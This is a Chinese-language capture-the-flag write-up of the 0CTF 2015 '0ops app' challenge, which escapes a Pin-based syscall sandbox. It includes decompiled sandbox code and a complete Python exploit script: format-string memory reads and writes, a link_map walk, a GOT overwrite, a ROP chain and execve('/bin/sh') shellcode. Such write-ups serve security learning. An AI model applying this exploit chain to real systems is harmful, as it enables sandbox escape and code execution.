这道题提供了一个sandbox.so,当时我连如何运行这道题都不知道……今天阅读了http://acez.re/ctf-writeup-0ctf-2015-quals-login0opsapp-breaking-out-of-a-pin-sandbox/和https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py,终于搞明白这道题目了,在此记录。
具体地,这道题目需要用pin,下载配置好之后,就可以按如下方式来运行:
$ pin.sh -injection child -t sandbox.so -- ./login由于目标二进制文件与login里是同一个,所以漏洞还是格式化字符串攻击,可见之前login的writeup。在那道题,我们通过修改返回地址为读flag的函数来获得flag。在这道题,我们同样可以修改返回地址,从而再次调用有问题的printf。
如果没有sandbox保护,那我们可以利用格式化字符串攻击来泄露内存地址,获得system,再修改返回地址。但这道题的sandbox.so有进行保护。下面是反编译得到的一部分伪代码:
function syscall_check(unsigned int, LEVEL_VM::CONTEXT*, LEVEL_CORE::SYSCALL_STANDARD, void*) {
    r13 = arg3;
    LODWORD(r12) = LODWORD(arg0);
    LODWORD(rbp) = LODWORD(arg2);
    rbx = arg1;
    rsp = rsp - 0x8;
    rax = LEVEL_PINCLIENT::PIN_GetSyscallNumber(rbx, LODWORD(arg2));
    if (rax != 0x3) { //close
            if (CPU_FLAGS & BE) { //read, write, open
                    if ((rax == 0x3c) || (rax == 0xe7)) { //exit, exit_group
                            return rax;
                    }
                    else {
                            if (rax == 0x25) { //alarm
                                    if (*(int8_t *)activated != 0x0) {
                                            rax = exit(0xffffffff);
                                    }
                                    else {
                                            *(int8_t *)activated = 0x1;
                                            rax = mprotect(activated, 0x1000, 0x1);
                                            if (LODWORD(rax) != 0x0) {
                                                    rax = exit(0xffffffff);
                                            }
                                            else {
                                                    return rax;
                                            }
                                    }
                            }
                            else {
                                    rax = activated;
                                    if (*(int8_t *)rax == 0x0) {
                                            return rax;
                                    }
                                    else {
                                            rax = exit(0xffffffff);
                                    }
                            }
                    }
            }
            else {
                    if (rax > 0x1) {
                            rax = activated;
                            if (*(int8_t *)rax != 0x0) {
                                    rax = open_check(LODWORD(r12), rbx, LODWORD(rbp), r13);
                                    if (LOBYTE(rax) == 0x0) {
                                            rax = exit(0xffffffff);
                                    }
                                    else {
                                            return rax;
                                    }
                            }
                            else {
                                    return rax;
                            }
                    }
                    else {
                            return rax;
                    }
            }
    }
    else {
            return rax;
    }
    return rax;
}可以看到,如果有调用过alarm,那么能够进行的syscall就只有read, write, open了。而不幸的是,login在运行时有调用过alarm。所以,直接修改login的执行流程来调用system或execve是不可能的了,我们只能通过修改sandbox.so的执行流程来调用execve。具体地,如果把sandbox.so里的exit@got修改指向我们的shellcode,那么再次调用不符规定的syscall,就会造成sandbox.so里执行exit,即执行我们的shellcode了。
特别的,虽然我的系统开了ASLR,但是实验发现,pinbin每次都是被加载到了固定的地址,而pinbin是有DT_DEBUG信息的:
$ readelf -d /opt/pin/intel64/bin/pinbin 
Dynamic section at offset 0x87e3e0 contains 26 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libdl.so.2]
 0x0000000000000001 (NEEDED)             Shared library: [libstdc++.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000010 (SYMBOLIC)           0x0
 0x000000000000000c (INIT)               0x3041b4488
 0x000000000000000d (FINI)               0x3045fa278
 0x0000000000000004 (HASH)               0x304001060
 0x0000000000000005 (STRTAB)             0x304039fb0
 0x0000000000000006 (SYMTAB)             0x30400c980
 0x000000000000000a (STRSZ)              392376 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
...结合之前关于DT_DEBUG的文章,我们可以遍历来获得sandbox.so在内存中的地址,进而得到sandbox.so里的exit@got的地址。具体地:
$ readelf -lW /opt/pin/intel64/bin/pinbin 
Elf file type is DYN (Shared object file)
Entry point 0x3041b5150
There are 8 program headers, starting at offset 64
Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000304000040 0x0000000304000040 0x0001c0 0x0001c0 R E 0x8
  INTERP         0x001024 0x0000000304001024 0x0000000304001024 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000304000000 0x0000000304000000 0x7e37a4 0x7e37a4 R E 0x200000
  LOAD           0x7e37a8 0x00000003049e37a8 0x00000003049e37a8 0x0a3588 0x1b3380 RW  0x200000
  DYNAMIC        0x87e3e0 0x0000000304a7e3e0 0x0000000304a7e3e0 0x0001e0 0x0001e0 RW  0x8
...我们知道.dynamic会在0x304a7e3e0。所以通过不断地printf打印内存信息,遍历link_map,获得sandbox.so的地址。
此外,检查maps发现,内存中有rwx的区域的,其地址也是每次不变的,应该是pinbin引入的。所以我们可以先ROP,将shellcode写到那个rwx的区域;并修改sandbox.so中的exit@got指向我们的shellcode,最后调用不符要求的syscall,即达到目的。具体地,ROP我是先通过pop; ret把几个寄存器的值设好,再调用login中的一个类似于readline的函数,来实现写shellcode到指定位置。
下面是具体的代码,有些乱……
#!/usr/bin/env python2
from pwn import *
import sys
if __name__ == '__main__' :
    context(arch='amd64', os='linux')
    
    ip = "127.0.0.1"
    #ip = sys.argv[1]
    conn = remote(ip, 55555)
    f = open("pl", "wb")
    def send(data):
        conn.send(data)
        f.write(data)
    payload = "guest\nguest123\n2\n" + "A"*256 + "4\n" + "%1$p,%3$p\n1234\n"
    send(payload)
    conn.recvuntil("Password: ")
    conn.recvuntil("Password: ")
    addrs = (conn.recvline(keepends=False).split(" ")[0]).split(',')
    base = int(addrs[0], 16)-0x1490
    stack = int(addrs[1], 16)
    retAddr = stack - 0x8
    print "ret addr is %s" % hex(retAddr)
    print "base is %s" % hex(base)
    addr0 = (base+0x1053) & 0xffff
    def readStr(where):
        username = "%%%dx%%40$hn--%%41$s--" % addr0
        password = p64(retAddr) + p64(where)
        send(username+'\n'+password+'\n')
        conn.recvuntil('--')
        return conn.recvuntil('--')[:-2]
    def read8(where):
        content = ''
        while len(content) < 8:
            res = readStr(where)
            content += (res + '\x00')
            where += (len(res)+1)
        return u64(content[:8].ljust(8,'\x00'))
    #iterate link_map to find the address of lib
    def findBase(dynamic, lib):
        r_debug = read8(dynamic)
        print 'r_debug is at %s' % hex(r_debug)
        link_map = read8(r_debug+8)
        print 'link_map is at %s' % hex(link_map)
        while True:
            l_name = read8(link_map+8)
            l_name_str = readStr(l_name)
            if l_name_str.endswith(lib):
                l_addr = read8(link_map)
                print '%s is at %s' % (l_name_str, hex(l_addr))
                break
            link_map = read8(link_map+24)
        return l_addr
    
    pinDynamic = 0x304a7e3e0
    sandboxBase = findBase(pinDynamic+13*16+8, 'sandbox.so')
    def write8(where, what):
        writes = {}
        writes[where] = what & 0xffff
        writes[where + 2] = (what >> 16) & 0xffff
        writes[where + 4] = (what >> 32) & 0xffff
        writes[where + 6] = (what >> 48) & 0xffff
        writes[retAddr] = addr0
    
        printed = 0
        username = ''
        password = ''
        index = 40
        for where, what in sorted(writes.items(), key=operator.itemgetter(1)):
            delta = (what - printed) & 0xffff
            if delta > 0:
                if delta < 8:
                    username += 'A' * delta
                else:
                    username += '%' + str(delta) + 'x'
            username += '%' + str(index) + '$hn'
            index += 1
            password += p64(where)
            printed += delta
        send(username+'\n'+password+'\n')
    '''
    6A25              push byte +0x25
    58                pop rax
    0F05              syscall
    '''
    # call alarm to invoke exit in sandbox
    shellcode1 = '6a25580f05'.decode('hex')
    '''
    6A3B              push byte +0x3b
    58                pop rax
    99                cdq
    52                push rdx
    EB06              jmp short 0xd
    5F                pop rdi
    4831F6            xor rsi,rsi
    0F05              syscall
    E8F5FFFFFF        call qword 0x7
    2F62696E2F7368    "/bin/sh"
    '''
    shellcode2 = '6a3b589952eb065f4831f60f05e8f5ffffff2f62696e2f7368'.decode('hex')
    
    rwx = 0x0304aa8080
    exitGotSandbox = sandboxBase + 0xa4e440
    #write shellcode address to exit@got in sandbox
    write8(exitGotSandbox, rwx+len(shellcode1))
    verify = read8(exitGotSandbox)
    print 'verify: %s' % hex(verify)
    # 0x1363 : pop rdi ; ret
    # 0x1361 : pop rsi ; pop r15 ; ret
    readline = base+0xcb5
    #rop: read shellcode to rwx area
    rop = p64(base+0x1363) + p64(rwx) + p64(base+0x1361) + p64(0x1234) + p64(0) + p64(readline) + p64(rwx)
    pop5ret = base + 0x135b
    username = ("%%%dx%%10$hn--" % (pop5ret & 0xffff)).ljust(16) + p64(retAddr) + rop
    send(username + '\n1234\n')
    conn.recvuntil('--')
    send(shellcode1+shellcode2+'\n')
    
    conn.interactive()
    exit(0)write8那里直接用了https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py的代码。我之前都是从低位到高位按顺序修改的,但他这样先排一次序再写我觉得很好。